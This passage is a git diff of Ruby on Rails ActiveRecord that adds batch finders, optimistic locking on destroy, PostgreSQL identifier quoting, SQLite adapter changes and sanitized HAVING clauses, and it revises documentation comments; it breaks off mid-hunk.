@@ -1379,7 +1382,7 @@ module ActiveRecord #:nodoc:
# Default scope of the translation is activerecord.models
# Specify +options+ with additional translating options.
def human_name(options = {})
- defaults = self_and_descendents_from_active_record.map do |klass|
+ defaults = self_and_descendants_from_active_record.map do |klass|
:"#{klass.name.underscore}"
end
defaults << self.name.humanize
@@ -1414,7 +1417,6 @@ module ActiveRecord #:nodoc:
end
end
-
def quote_value(value, column = nil) #:nodoc:
connection.quote(value,column)
end
@@ -1483,7 +1485,7 @@ module ActiveRecord #:nodoc:
elsif match = DynamicScopeMatch.match(method_id)
return true if all_attributes_exists?(match.attribute_names)
end
-
+
super
end
@@ -1534,7 +1536,7 @@ module ActiveRecord #:nodoc:
end
def reverse_sql_order(order_query)
- reversed_query = order_query.split(/,/).each { |s|
+ reversed_query = order_query.to_s.split(/,/).each { |s|
if s.match(/\s(asc|ASC)$/)
s.gsub!(/\s(asc|ASC)$/, ' DESC')
elsif s.match(/\s(desc|DESC)$/)
@@ -1687,7 +1689,7 @@ module ActiveRecord #:nodoc:
def construct_finder_sql(options)
scope = scope(:find)
sql = "SELECT #{options[:select] || (scope && scope[:select]) || default_select(options[:joins] || (scope && scope[:joins]))} "
- sql << "FROM #{(scope && scope[:from]) || options[:from] || quoted_table_name} "
+ sql << "FROM #{options[:from] || (scope && scope[:from]) || quoted_table_name} "
add_joins!(sql, options[:joins], scope)
add_conditions!(sql, options[:conditions], scope)
@@ -1742,7 +1744,9 @@ module ActiveRecord #:nodoc:
scoped_order = scope[:order] if scope
if order
sql << " ORDER BY #{order}"
- sql << ", #{scoped_order}" if scoped_order
+ if scoped_order && scoped_order != order
+ sql << ", #{scoped_order}"
+ end
else
sql << " ORDER BY #{scoped_order}" if scoped_order
end
@@ -1751,12 +1755,12 @@ module ActiveRecord #:nodoc:
def add_group!(sql, group, having, scope = :auto)
if group
sql << " GROUP BY #{group}"
- sql << " HAVING #{having}" if having
+ sql << " HAVING #{sanitize_sql_for_conditions(having)}" if having
else
scope = scope(:find) if :auto == scope
if scope && (scoped_group = scope[:group])
sql << " GROUP BY #{scoped_group}"
- sql << " HAVING #{scoped_having}" if (scoped_having = scope[:having])
+ sql << " HAVING #{sanitize_sql_for_conditions(scope[:having])}" if scope[:having]
end
end
end
@@ -1990,12 +1994,16 @@ module ActiveRecord #:nodoc:
attribute_names.all? { |name| column_methods_hash.include?(name.to_sym) }
end
- def attribute_condition(argument)
+ def attribute_condition(quoted_column_name, argument)
case argument
- when nil then "IS ?"
- when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "IN (?)"
- when Range then "BETWEEN ? AND ?"
- else "= ?"
+ when nil then "#{quoted_column_name} IS ?"
+ when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "#{quoted_column_name} IN (?)"
+ when Range then if argument.exclude_end?
+ "#{quoted_column_name} >= ? AND #{quoted_column_name} < ?"
+ else
+ "#{quoted_column_name} BETWEEN ? AND ?"
+ end
+ else "#{quoted_column_name} = ?"
end
end
@@ -2007,7 +2015,6 @@ module ActiveRecord #:nodoc:
end
end
-
# Defines an "attribute" method (like +inheritance_column+ or
# +table_name+). A new (class) method will be created with the
# given name. If a value is specified, the new method will
@@ -2104,7 +2111,7 @@ module ActiveRecord #:nodoc:
end
# Merge scopings
- if action == :merge && current_scoped_methods
+ if [:merge, :reverse_merge].include?(action) && current_scoped_methods
method_scoping = current_scoped_methods.inject(method_scoping) do |hash, (method, params)|
case hash[method]
when Hash
@@ -2126,7 +2133,11 @@ module ActiveRecord #:nodoc:
end
end
else
- hash[method] = hash[method].merge(params)
+ if action == :reverse_merge
+ hash[method] = hash[method].merge(params)
+ else
+ hash[method] = params.merge(hash[method])
+ end
end
else
hash[method] = params
@@ -2136,7 +2147,6 @@ module ActiveRecord #:nodoc:
end
self.scoped_methods << method_scoping
-
begin
yield
ensure
@@ -2167,7 +2177,7 @@ module ActiveRecord #:nodoc:
# Test whether the given method and optional key are scoped.
def scoped?(method, key = nil) #:nodoc:
if current_scoped_methods && (scope = current_scoped_methods[method])
- !key || scope.has_key?(key)
+ !key || !scope[key].nil?
end
end
@@ -2305,7 +2315,7 @@ module ActiveRecord #:nodoc:
table_name = connection.quote_table_name(table_name)
end
- "#{table_name}.#{connection.quote_column_name(attr)} #{attribute_condition(value)}"
+ attribute_condition("#{table_name}.#{connection.quote_column_name(attr)}", value)
else
sanitize_sql_hash_for_conditions(value, connection.quote_table_name(attr.to_s))
end
@@ -2742,7 +2752,6 @@ module ActiveRecord #:nodoc:
assign_multiparameter_attributes(multi_parameter_attributes)
end
-
# Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
def attributes
self.attribute_names.inject({}) do |attrs, name|
@@ -3136,7 +3145,12 @@ module ActiveRecord #:nodoc:
include Dirty
include Callbacks, Observing, Timestamp
include Associations, AssociationPreload, NamedScope
- include Aggregations, Transactions, Reflection, Calculations, Serialization
+
+ # AutosaveAssociation needs to be included before Transactions, because we want
+ # #save_with_autosave_associations to be wrapped inside a transaction.
+ include AutosaveAssociation, NestedAttributes
+
+ include Aggregations, Transactions, Reflection, Batches, Calculations, Serialization
end
end
diff --git a/activerecord/lib/active_record/batches.rb b/activerecord/lib/active_record/batches.rb
new file mode 100644
index 0000000000..5a6cecd4ad
--- /dev/null
+++ b/activerecord/lib/active_record/batches.rb
@@ -0,0 +1,81 @@
+module ActiveRecord
+ module Batches # :nodoc:
+ def self.included(base)
+ base.extend(ClassMethods)
+ end
+
+ # When processing large numbers of records, it's often a good idea to do
+ # so in batches to prevent memory ballooning.
+ module ClassMethods
+ # Yields each record that was found by the find +options+. The find is
+ # performed by find_in_batches with a batch size of 1000 (or as
+ # specified by the <tt>:batch_size</tt> option).
+ #
+ # Example:
+ #
+ # Person.find_each(:conditions => "age > 21") do |person|
+ # person.party_all_night!
+ # end
+ #
+ # Note: This method is only intended to use for batch processing of
+ # large amounts of records that wouldn't fit in memory all at once. If
+ # you just need to loop over less than 1000 records, it's probably
+ # better just to use the regular find methods.
+ def find_each(options = {})
+ find_in_batches(options) do |records|
+ records.each { |record| yield record }
+ end
+
+ self
+ end
+
+ # Yields each batch of records that was found by the find +options+ as
+ # an array. The size of each batch is set by the <tt>:batch_size</tt>
+ # option; the default is 1000.
+ #
+ # You can control the starting point for the batch processing by
+ # supplying the <tt>:start</tt> option. This is especially useful if you
+ # want multiple workers dealing with the same processing queue. You can
+ # make worker 1 handle all the records between id 0 and 10,000 and
+ # worker 2 handle from 10,000 and beyond (by setting the <tt>:start</tt>
+ # option on that worker).
+ #
+ # It's not possible to set the order. That is automatically set to
+ # ascending on the primary key ("id ASC") to make the batch ordering
+ # work. This also mean that this method only works with integer-based
+ # primary keys. You can't set the limit either, that's used to control
+ # the the batch sizes.
+ #
+ # Example:
+ #
+ # Person.find_in_batches(:conditions => "age > 21") do |group|
+ # sleep(50) # Make sure it doesn't get too crowded in there!
+ # group.each { |person| person.party_all_night! }
+ # end
+ def find_in_batches(options = {})
+ raise "You can't specify an order, it's forced to be #{batch_order}" if options[:order]
+ raise "You can't specify a limit, it's forced to be the batch_size" if options[:limit]
+
+ start = options.delete(:start).to_i
+ batch_size = options.delete(:batch_size) || 1000
+
+ with_scope(:find => options.merge(:order => batch_order, :limit => batch_size)) do
+ records = find(:all, :conditions => [ "#{table_name}.#{primary_key} >= ?", start ])
+
+ while records.any?
+ yield records
+
+ break if records.size < batch_size
+ records = find(:all, :conditions => [ "#{table_name}.#{primary_key} > ?", records.last.id ])
+ end
+ end
+ end
+
+
+ private
+ def batch_order
+ "#{table_name}.#{primary_key} ASC"
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/activerecord/lib/active_record/calculations.rb b/activerecord/lib/active_record/calculations.rb
index b239c03284..f077818d3b 100644
--- a/activerecord/lib/active_record/calculations.rb
+++ b/activerecord/lib/active_record/calculations.rb
@@ -141,22 +141,30 @@ module ActiveRecord
def construct_count_options_from_args(*args)
options = {}
column_name = :all
-
+
# We need to handle
# count()
# count(:column_name=:all)
# count(options={})
# count(column_name=:all, options={})
+ # selects specified by scopes
case args.size
+ when 0
+ column_name = scope(:find)[:select] if scope(:find)
when 1
- args[0].is_a?(Hash) ? options = args[0] : column_name = args[0]
+ if args[0].is_a?(Hash)
+ column_name = scope(:find)[:select] if scope(:find)
+ options = args[0]
+ else
+ column_name = args[0]
+ end
when 2
column_name, options = args
else
raise ArgumentError, "Unexpected parameters passed to count(): #{args.inspect}"
- end if args.size > 0
-
- [column_name, options]
+ end
+
+ [column_name || :all, options]
end
def construct_calculation_sql(operation, column_name, options) #:nodoc:
@@ -214,13 +222,15 @@ module ActiveRecord
end
if options[:group] && options[:having]
+ having = sanitize_sql_for_conditions(options[:having])
+
# FrontBase requires identifiers in the HAVING clause and chokes on function calls
if connection.adapter_name == 'FrontBase'
- options[:having].downcase!
- options[:having].gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
+ having.downcase!
+ having.gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
end
- sql << " HAVING #{options[:having]} "
+ sql << " HAVING #{having} "
end
sql << " ORDER BY #{options[:order]} " if options[:order]
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 88958f4583..e375037b5b 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -104,6 +104,37 @@ module ActiveRecord
# The callback objects have methods named after the callback called with the record as the only parameter, such as:
#
# class BankAccount < ActiveRecord::Base
+ # before_save EncryptionWrapper.new
+ # after_save EncryptionWrapper.new
+ # after_initialize EncryptionWrapper.new
+ # end
+ #
+ # class EncryptionWrapper
+ # def before_save(record)
+ # record.credit_card_number = encrypt(record.credit_card_number)
+ # end
+ #
+ # def after_save(record)
+ # record.credit_card_number = decrypt(record.credit_card_number)
+ # end
+ #
+ # alias_method :after_find, :after_save
+ #
+ # private
+ # def encrypt(value)
+ # # Secrecy is committed
+ # end
+ #
+ # def decrypt(value)
+ # # Secrecy is unveiled
+ # end
+ # end
+ #
+ # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+ # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
+ # initialization data such as the name of the attribute to work with:
+ #
+ # class BankAccount < ActiveRecord::Base
# before_save EncryptionWrapper.new("credit_card_number")
# after_save EncryptionWrapper.new("credit_card_number")
# after_initialize EncryptionWrapper.new("credit_card_number")
@@ -115,11 +146,11 @@ module ActiveRecord
# end
#
# def before_save(record)
- # record.credit_card_number = encrypt(record.credit_card_number)
+ # record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
# end
#
# def after_save(record)
- # record.credit_card_number = decrypt(record.credit_card_number)
+ # record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
# end
#
# alias_method :after_find, :after_save
@@ -134,9 +165,6 @@ module ActiveRecord
# end
# end
#
- # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
- # a method by the name of the callback messaged.
- #
# The callback macros usually accept a symbol for the method they're supposed to run, but you can also pass a "method string",
# which will then be evaluated within the binding of the callback. Example:
#
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 901b17124c..aac84cc5f4 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -351,5 +351,21 @@ module ActiveRecord
retrieve_connection_pool klass.superclass
end
end
+
+ class ConnectionManagement
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ @app.call(env)
+ ensure
+ # Don't return connection (and peform implicit rollback) if
+ # this request is a part of integration test
+ unless env.key?("rack.test")
+ ActiveRecord::Base.clear_active_connections!
+ end
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 273f823e7f..24c734cddb 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -8,6 +8,7 @@ module ActiveRecord
# An abstract definition of a column in a table.
class Column
TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set
+ FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE'].to_set
module Format
ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 913bb521ca..ec204d0f03 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -392,9 +392,28 @@ module ActiveRecord
quote_string(s)
end
+ # Checks the following cases:
+ #
+ # - table_name
+ # - "table.name"
+ # - schema_name.table_name
+ # - schema_name."table.name"
+ # - "schema.name".table_name
+ # - "schema.name"."table.name"
+ def quote_table_name(name)
+ schema, name_part = extract_pg_identifier_from_name(name.to_s)
+
+ unless name_part
+ quote_column_name(schema)
+ else
+ table_name, name_part = extract_pg_identifier_from_name(name_part)
+ "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
+ end
+ end
+
# Quotes column names for use in SQL queries.
def quote_column_name(name) #:nodoc:
- %("#{name}")
+ PGconn.quote_ident(name.to_s)
end
# Quote date/time values for use in SQL input. Includes microseconds
@@ -1045,6 +1064,16 @@ module ActiveRecord
ORDER BY a.attnum
end_sql
end
+
+ def extract_pg_identifier_from_name(name)
+ match_data = name[0,1] == '"' ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
+
+ if match_data
+ rest = name[match_data[0].length..-1]
+ rest = rest[1..-1] if rest[0,1] == "."
+ [match_data[1], (rest.length > 0 ? rest : nil)]
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index cc9c46505f..75420f69aa 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -18,7 +18,7 @@ module ActiveRecord
db.busy_timeout(config[:timeout]) unless config[:timeout].nil?
- ConnectionAdapters::SQLite3Adapter.new(db, logger)
+ ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
index 5390f49f04..afd6472db8 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
@@ -17,9 +17,9 @@ module ActiveRecord
# "Downgrade" deprecated sqlite API
if SQLite.const_defined?(:Version)
- ConnectionAdapters::SQLite2Adapter.new(db, logger)
+ ConnectionAdapters::SQLite2Adapter.new(db, logger, config)
else
- ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger)
+ ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger, config)
end
end
end
@@ -72,10 +72,31 @@ module ActiveRecord
#
# * <tt>:database</tt> - Path to the database file.
class SQLiteAdapter < AbstractAdapter
+ class Version
+ include Comparable
+
+ def initialize(version_string)
+ @version = version_string.split('.').map(&:to_i)
+ end
+
+ def <=>(version_string)
+ @version <=> version_string.split('.').map(&:to_i)
+ end
+ end
+
+ def initialize(connection, logger, config)
+ super(connection, logger)
+ @config = config
+ end
+
def adapter_name #:nodoc:
'SQLite'
end
+ def supports_ddl_transactions?
+ sqlite_version >= '2.0.0'
+ end
+
def supports_migrations? #:nodoc:
true
end
@@ -83,6 +104,10 @@ module ActiveRecord
def requires_reloading?
true
end
+
+ def supports_add_column?
+ sqlite_version >= '3.1.6'
+ end
def disconnect!
super
@@ -164,7 +189,6 @@ module ActiveRecord
catch_schema_changes { @connection.rollback }
end
-
# SELECT ... FOR UPDATE is redundant since the table is locked.
def add_lock!(sql, options) #:nodoc:
sql
@@ -213,14 +237,20 @@ module ActiveRecord
execute "ALTER TABLE #{name} RENAME TO #{new_name}"
end
+ # See: http://www.sqlite.org/lang_altertable.html
+ # SQLite has an additional restriction on the ALTER TABLE statement
+ def valid_alter_table_options( type, options)
+ type.to_sym != :primary_key
+ end
+
def add_column(table_name, column_name, type, options = {}) #:nodoc:
- if @connection.respond_to?(:transaction_active?) && @connection.transaction_active?
- raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction'
+ if supports_add_column? && valid_alter_table_options( type, options )
+ super(table_name, column_name, type, options)
+ else
+ alter_table(table_name) do |definition|
+ definition.column(column_name, type, options)
+ end
end
-
- super(table_name, column_name, type, options)
- # See last paragraph on http://www.sqlite.org/lang_altertable.html
- execute "VACUUM"
end
def remove_column(table_name, *column_names) #:nodoc:
@@ -380,7 +410,7 @@ module ActiveRecord
end
def sqlite_version
- @sqlite_version ||= select_value('select sqlite_version(*)')
+ @sqlite_version ||= SQLiteAdapter::Version.new(select_value('select sqlite_version(*)'))
end
def default_primary_key_type
@@ -393,23 +423,9 @@ module ActiveRecord
end
class SQLite2Adapter < SQLiteAdapter # :nodoc:
- def supports_count_distinct? #:nodoc:
- false
- end
-
def rename_table(name, new_name)
move_table(name, new_name)
end
-
- def add_column(table_name, column_name, type, options = {}) #:nodoc:
- if @connection.respond_to?(:transaction_active?) && @connection.transaction_active?
- raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction'
- end
-
- alter_table(table_name) do |definition|
- definition.column(column_name, type, options)
- end
- end
end
class DeprecatedSQLiteAdapter < SQLite2Adapter # :nodoc:
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 0131d9fac5..c6501113bf 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -21,13 +21,17 @@ else
end
end
-# Fixtures are a way of organizing data that you want to test against; in short, sample data. They come in 3 flavors:
+# Fixtures are a way of organizing data that you want to test against; in short, sample data.
+#
+# = Fixture formats
+#
+# Fixtures come in 3 flavors:
#
# 1. YAML fixtures
# 2. CSV fixtures
# 3. Single-file fixtures
#
-# = YAML fixtures
+# == YAML fixtures
#
# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures
# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+.
@@ -65,9 +69,9 @@ end
# parent_id: 1
# title: Child
#
-# = CSV fixtures
+# == CSV fixtures
#
-# Fixtures can also be kept in the Comma Separated Value format. Akin to YAML fixtures, CSV fixtures are stored
+# Fixtures can also be kept in the Comma Separated Value (CSV) format. Akin to YAML fixtures, CSV fixtures are stored
# in a single file, but instead end with the <tt>.csv</tt> file extension
# (Rails example: <tt><your-rails-app>/test/fixtures/web_sites.csv</tt>).
#
@@ -90,7 +94,7 @@ end
# Most databases and spreadsheets support exporting to CSV format, so this is a great format for you to choose if you
# have existing data somewhere already.
#
-# = Single-file fixtures
+# == Single-file fixtures
#
# This type of fixture was the original format for Active Record that has since been deprecated in favor of the YAML and CSV formats.
# Fixtures for this format are created by placing text files in a sub-directory (with the name of the model) to the directory
@@ -113,65 +117,53 @@ end
# name => Ruby on Rails
# url => http://www.rubyonrails.org
#
-# = Using Fixtures
+# = Using fixtures in testcases
#
# Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the
# fixtures, but first let's take a look at a sample unit test:
#
-# require 'web_site'
+# require 'test_helper'
#
# class WebSiteTest < ActiveSupport::TestCase
-# def test_web_site_count
+# test "web_site_count" do
# assert_equal 2, WebSite.count
# end
# end
#
-# As it stands, unless we pre-load the web_site table in our database with two records, this test will fail. Here's the
-# easiest way to add fixtures to the database:
-#
-# ...
-# class WebSiteTest < ActiveSupport::TestCase
-# fixtures :web_sites # add more by separating the symbols with commas
-# ...
-#
-# By adding a "fixtures" method to the test case and passing it a list of symbols (only one is shown here though), we trigger
-# the testing environment to automatically load the appropriate fixtures into the database before each test.
+# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database, so this test will succeed.
+# The testing environment will automatically load the all fixtures into the database before each test.
# To ensure consistent data, the environment deletes the fixtures before running the load.
#
-# In addition to being available in the database, the fixtures are also loaded into a hash stored in an instance variable
-# of the test case. It is named after the symbol... so, in our example, there would be a hash available called
-# <tt>@web_sites</tt>. This is where the "fixture name" comes into play.
-#
-# On top of that, each record is automatically "found" (using <tt>Model.find(id)</tt>) and placed in the instance variable of its name.
-# So for the YAML fixtures, we'd get <tt>@rubyonrails</tt> and <tt>@google</tt>, which could be interrogated using regular Active Record semantics:
+# In addition to being available in the database, the fixture's data may also be accessed by
+# using a special dynamic method, which has the same name as the model, and accepts the
+# name of the fixture to instantiate:
#
-# # test if the object created from the fixture data has the same attributes as the data itself
-# def test_find
-# assert_equal @web_sites["rubyonrails"]["name"], @rubyonrails.name
+# test "find" do
+# assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
# end
#
-# As seen above, the data hash created from the YAML fixtures would have <tt>@web_sites["rubyonrails"]["url"]</tt> return
-# "http://www.rubyonrails.org" and <tt>@web_sites["google"]["name"]</tt> would return "Google". The same fixtures, but loaded
-# from a CSV fixture file, would be accessible via <tt>@web_sites["web_site_1"]["name"] == "Ruby on Rails"</tt> and have the individual
-# fixtures available as instance variables <tt>@web_site_1</tt> and <tt>@web_site_2</tt>.
+# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests:
#
-# If you do not wish to use instantiated fixtures (usually for performance reasons) there are two options.
+# test "find_alt_method_1" do
+# assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+# end
#
-# - to completely disable instantiated fixtures:
-# self.use_instantiated_fixtures = false
+# test "find_alt_method_2" do
+# assert_equal "Ruby on Rails", @rubyonrails.news
+# end
#
-# - to keep the fixture instance (@web_sites) available, but do not automatically 'find' each instance:
-# self.use_instantiated_fixtures = :no_instances
+# In order to use these methods to access fixtured data within your testcases, you must specify one of the
+# following in your <tt>ActiveSupport::TestCase</tt>-derived class:
#
-# Even if auto-instantiated fixtures are disabled, you can still access them
-# by name via special dynamic methods. Each method has the same name as the
-# model, and accepts the name of the fixture to instantiate:
+# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+# self.use_instantiated_fixtures = true
#
-# fixtures :web_sites
+# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+# self.use_instantiated_fixtures = :no_instances
#
-# def test_find
-# assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
-# end
+# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+# traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+# large sets of fixtured data.
#
# = Dynamic fixtures with ERb
#
@@ -194,21 +186,17 @@ end
# = Transactional fixtures
#
# TestCases can use begin+rollback to isolate their changes to the database instead of having to delete+insert for every test case.
-# They can also turn off auto-instantiation of fixture data since the feature is costly and often unused.
#
# class FooTest < ActiveSupport::TestCase
# self.use_transactional_fixtures = true
-# self.use_instantiated_fixtures = false
-#
-# fixtures :foos
#
-# def test_godzilla
+# test "godzilla" do
# assert !Foo.find(:all).empty?
# Foo.destroy_all
# assert Foo.find(:all).empty?
# end
#
-# def test_godzilla_aftermath
+# test "godzilla aftermath" do
# assert !Foo.find(:all).empty?
# end
# end
@@ -220,24 +208,25 @@ end
# access to fixture data for every table that has been loaded through fixtures (depending on the value of +use_instantiated_fixtures+)
#
# When *not* to use transactional fixtures:
-# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
-# particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
-# the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
-# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
-# Use InnoDB, MaxDB, or NDB instead.
+#
+# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until all parent transactions commit,
+# particularly, the fixtures transaction which is begun in setup and rolled back in teardown. Thus, you won't be able to verify
+# the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+# Use InnoDB, MaxDB, or NDB instead.
#
# = Advanced YAML Fixtures
#
# YAML fixtures that don't specify an ID get some extra features:
#
-# * Stable, autogenerated ID's
+# * Stable, autogenerated IDs
# * Label references for associations (belongs_to, has_one, has_many)
# * HABTM associations as inline lists
# * Autofilled timestamp columns
# * Fixture label interpolation
# * Support for YAML defaults
#
-# == Stable, autogenerated ID's
+# == Stable, autogenerated IDs
#
# Here, have a monkey fixture:
#
@@ -292,7 +281,7 @@ end
#
# Add a few more monkeys and pirates and break this into multiple files,
# and it gets pretty hard to keep track of what's going on. Let's
-# use labels instead of ID's:
+# use labels instead of IDs:
#
# ### in pirates.yml
#
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index ff9899d032..7fa7e267d8 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -23,6 +23,16 @@ module ActiveRecord
# p2.first_name = "should fail"
# p2.save # Raises a ActiveRecord::StaleObjectError
#
+ # Optimistic locking will also check for stale data when objects are destroyed. Example:
+ #
+ # p1 = Person.find(1)
+ # p2 = Person.find(1)
+ #
+ # p1.first_name = "Michael"
+ # p1.save
+ #
+ # p2.destroy # Raises a ActiveRecord::StaleObjectError
+ #
# You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
# or otherwise apply the business logic needed to resolve the conflict.
#
@@ -39,6 +49,7 @@ module ActiveRecord
base.lock_optimistically = true
base.alias_method_chain :update, :lock
+ base.alias_method_chain :destroy, :lock
base.alias_method_chain :attributes_from_column_definition, :lock
class << base
@@ -98,6 +109,28 @@ module ActiveRecord
end
end
+ def destroy_with_lock #:nodoc:
+ return destroy_without_lock unless locking_enabled?
+
+ unless new_record?
+ lock_col = self.class.locking_column
+ previous_value = send(lock_col).to_i
+
+ affected_rows = connection.delete(
+ "DELETE FROM #{self.class.quoted_table_name} " +
+ "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quoted_id} " +
+ "AND #{self.class.quoted_locking_column} = #{quote_value(previous_value)}",
+ "#{self.class.name} Destroy"
+ )
+
+ unless affected_rows == 1
+ raise ActiveRecord::StaleObjectError, "Attempted to delete a stale object"
+ end
+ end
+
+ freeze
+ end
+
module ClassMethods
DEFAULT_LOCKING_COLUMN = 'lock_version'
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index 15350cf1e1..657acd6dc0 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -338,6 +338,10 @@ module ActiveRecord
self.verbose = save
end
+ def connection
+ ActiveRecord::Base.connection
+ end
+
def method_missing(method, *arguments, &block)
arg_list = arguments.map(&:inspect) * ', '
@@ -345,7 +349,7 @@ module ActiveRecord
unless arguments.empty? || method == :execute
arguments[0] = Migrator.proper_table_name(arguments.first)
end
- ActiveRecord::Base.connection.send(method, *arguments, &block)
+ connection.send(method, *arguments, &block)
end
end
end
diff --git a/activerecord/lib/active_record/named_scope.rb b/activerecord/lib/active_record/named_scope.rb
index 989b2a1ec5..1f3ef300f2 100644
--- a/activerecord/lib/active_record/named_scope.rb
+++ b/activerecord/lib/active_record/named_scope.rb
@@ -1,11 +1,12 @@
module ActiveRecord
module NamedScope
- # All subclasses of ActiveRecord::Base have two named \scopes:
- # * <tt>all</tt> - which is similar to a <tt>find(:all)</tt> query, and
+ # All subclasses of ActiveRecord::Base have one named scope:
# * <tt>scoped</tt> - which allows for the creation of anonymous \scopes, on the fly: <tt>Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions)</tt>
#
# These anonymous \scopes tend to be useful when procedurally generating complex queries, where passing
# intermediate values (scopes) around as first-class objects is convenient.
+ #
+ # You can define a scope that applies to all finders using ActiveRecord::Base.default_scope.
def self.included(base)
base.class_eval do
extend ClassMethods
@@ -88,7 +89,12 @@ module ActiveRecord
when Hash
options
when Proc
- options.call(*args)
+ case parent_scope
+ when Scope
+ with_scope(:find => parent_scope.proxy_options) { options.call(*args) }
+ else
+ options.call(*args)
+ end
end, &block)
end
(class << self; self end).instance_eval do
@@ -98,9 +104,9 @@ module ActiveRecord
end
end
end
-
+
class Scope
- attr_reader :proxy_scope, :proxy_options
+ attr_reader :proxy_scope, :proxy_options, :current_scoped_methods_when_defined
NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? respond_to?).to_set
[].methods.each do |m|
unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s)
@@ -111,8 +117,12 @@ module ActiveRecord
delegate :scopes, :with_scope, :to => :proxy_scope
def initialize(proxy_scope, options, &block)
+ options ||= {}
[options[:extend]].flatten.each { |extension| extend extension } if options[:extend]
extend Module.new(&block) if block_given?
+ unless Scope === proxy_scope
+ @current_scoped_methods_when_defined = proxy_scope.send(:current_scoped_methods)
+ end
@proxy_scope, @proxy_options = proxy_scope, options.except(:extend)
end
@@ -166,9 +176,15 @@ module ActiveRecord
if scopes.include?(method)
scopes[method].call(self, *args)
else
- with_scope :find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ? proxy_options[:conditions] : {} do
+ with_scope({:find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ? proxy_options[:conditions] : {}}, :reverse_merge) do
method = :new if method == :build
- proxy_scope.send(method, *args, &block)
